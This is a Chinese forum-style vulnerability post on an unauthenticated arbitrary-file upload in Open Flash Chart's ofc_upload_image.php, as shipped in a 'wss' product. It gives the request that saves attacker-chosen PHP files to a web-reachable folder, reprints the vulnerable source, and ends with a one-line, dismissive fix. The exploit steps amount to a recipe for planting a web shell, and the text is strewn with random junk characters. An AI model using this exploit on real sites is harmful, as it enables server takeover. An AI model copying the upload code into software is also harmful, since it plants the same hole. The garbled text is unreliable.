POST 数据漏洞文件执行任意后缀文件保存# a/ h" t0 ~7 V3 C3 V1 x" C+ M
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
% X3 ^* I6 @! H7 N1 c; L+ ^+ W
! ?/ \- P# n5 {! n. _3 f利用:) z; E \+ _: G
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
, G, k8 U! o4 L: y9 e3 A8 D- T$ t$ j' U9 y! {' H" a
Post任意数据
/ d/ F' s; i [4 W( c) @5 y7 w' ^保存位置http://localhost/chart/tmp-upload-images/hfy.php; }7 ?5 f7 a& G* H! @' k
/ Z+ y, x, s- p
2 J. Y G( Z1 @, ^1 J% P, b' Y+ R最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
/ a- |4 f1 ^5 V) }- s3 @4 E; e
6 `( V' r7 e& ]* n; ~$ R! l<?php
0 g+ x- U2 C/ h( ]7 |% y5 h2 c& i) D$ m5 y- p1 s3 E
//1 A) H* T% g! [1 A0 i
// In Open Flash Chart -> save_image debug mode, you" W" b+ N% H1 o& s0 L' f4 X) m/ p. S
// will see the 'echo' text in a new window.8 f$ e k2 M) p6 A& W* V
//
U! V: e0 T3 V5 K7 d3 _% }1 ~2 q# I. F' B6 A& A
/*
7 B/ p( I) U Z& p" ~8 `( g2 `5 V$ p
print_r( $_GET );
9 O. u c2 t- |0 U( ]. l+ {5 Xprint_r( $_POST );: v' B" z, u8 b: J7 B! @
print_r( $_FILES );
7 F( ~! V; ^! Y4 I2 a7 l* L/ x- A; G" _+ D
print_r( $GLOBALS );: ^) M, k/ \0 t# _& u# L: [
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );' u3 C/ d3 h" x! [' y! u9 D
3 |: @1 Y6 I) {6 X; W1 T
*/ V; ~, k! m" d. ~/ F
// default path for the image to be stored //7 x; W* ^" T" \/ `1 a
$default_path = '../tmp-upload-images/';
3 p( t* x# I C6 G( C; S6 r! z: C
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
% C0 f' S( A% i) a0 N" \/ q7 \1 p& P8 b* l3 i
// full path to the saved image including filename //0 C3 b2 C5 [; \& S7 E6 ?
$destination = $default_path . basename( $_GET[ 'name' ] ); 8 G1 A+ f+ o- F8 E2 u
& n/ {) P# n- L, b6 Y( @2 i% B! becho 'Saving your image to: '. $destination;* {$ w8 ?5 e) O/ Q
// print_r( $_POST );: Z4 c$ x* `3 |2 J6 a j$ g1 O
// print_r( $_SERVER );- T0 B, S9 K8 U+ b
// echo $HTTP_RAW_POST_DATA;
+ Y* ~( f3 e3 m, r: k
3 E, Q n) ?7 f2 F5 l//
+ L# W3 @8 A8 f% u: w2 u1 e7 n// POST data is usually string data, but we are passing a RAW .png
1 }8 e; H. U% |* A* |+ D* [% R// so PHP is a bit confused and $_POST is empty. But it has saved5 ^' k6 h! q+ J% u! H% |
// the raw bits into $HTTP_RAW_POST_DATA: W+ n+ W' S7 I: _. M7 [/ F
//$ g/ I2 a1 A8 l' X. H, m1 _
! b9 f, W0 r6 x K$jfh = fopen($destination, 'w') or die("can't open file");) R0 D: Y3 t, N/ |1 Q! A3 ?0 f. d4 q
fwrite($jfh, $HTTP_RAW_POST_DATA);/ @$ G: a! w! j) g/ _" z
fclose($jfh);& n8 c5 ?+ Q% E
/ \" K. E, ~% w/ ]; N, M//1 ]; }7 k& k6 f$ X- `# J% K" m* U
// LOOK:
, }5 k4 f3 @8 |4 h I* t//1 Q; o! N0 b2 ]0 t6 O! w/ Y1 W
exit();4 T4 g4 ~' |- z$ @( f4 i, g2 i% W
//: ]1 @- C. |- z9 a0 M3 ^
// PHP5:
) A9 t% N+ U' n2 W# b//. r7 [3 f$ x1 c# g- N( U1 m( z
0 i3 p8 ]- F0 ]. |4 h
4 U+ |) K4 f" _ |+ i( z5 B// default path for the image to be stored //
H4 e) W: g: L( b3 c- d$default_path = 'tmp-upload-images/';
* N6 @8 a. |' ~3 h& Q2 @
( g. c7 C" j3 n; U6 J% {% `6 ^if (!file_exists($default_path)) mkdir($default_path, 0777, true);0 x& z5 V1 F+ }" E/ M
3 ]* \: Z2 M2 e) C4 u1 D; K// full path to the saved image including filename //
8 n, k% ] t6 d4 _$ U0 W: f% b" h$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); ; M* I/ ^6 y; l3 W" ]+ i+ B+ ]# ]
3 z6 C# C9 X" l3 |0 P S4 L
// move the image into the specified directory //6 }: T6 w' c" y
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {- K/ q5 @6 F. }, G
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";7 ]1 ~8 E/ _" A9 g: m
} else {
& U& \+ ~7 ~; Q0 i6 c8 S5 w echo "FILE UPLOAD FAILED";
4 L" i8 Y7 f2 L/ t. w% ?7 s}
4 J+ S: Q$ D& c* l% ~' j! \' f! ~/ o$ Q* Z0 J7 h$ D4 K" _
. j( n5 r( R! ]9 Z4 p. E?>
) F1 @' D+ x& G! p/ u9 S# `7 E
. P0 j1 r" V9 e; \/ W3 \. | k* {, q& x+ J* _8 ~' N4 H3 C
0 a* g" `( m1 U: Q' c* H
4 J! O1 H% H+ k8 U2 Y0 b
9 L1 {' ~) ?( ]/ ?( m
4 T- z }- N$ n9 [9 y( Z5 G修复方案: ' a) B) q' c4 O4 \$ n0 k6 ]0 j
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 % q* Y+ m4 w2 O2 e
$ D% t9 C( T* r9 N' s/ |
- O) I+ d$ F( z- g) u
7 D9 S7 J- P0 Z v& X
j' o/ U8 d) C1 U3 e" `1 n |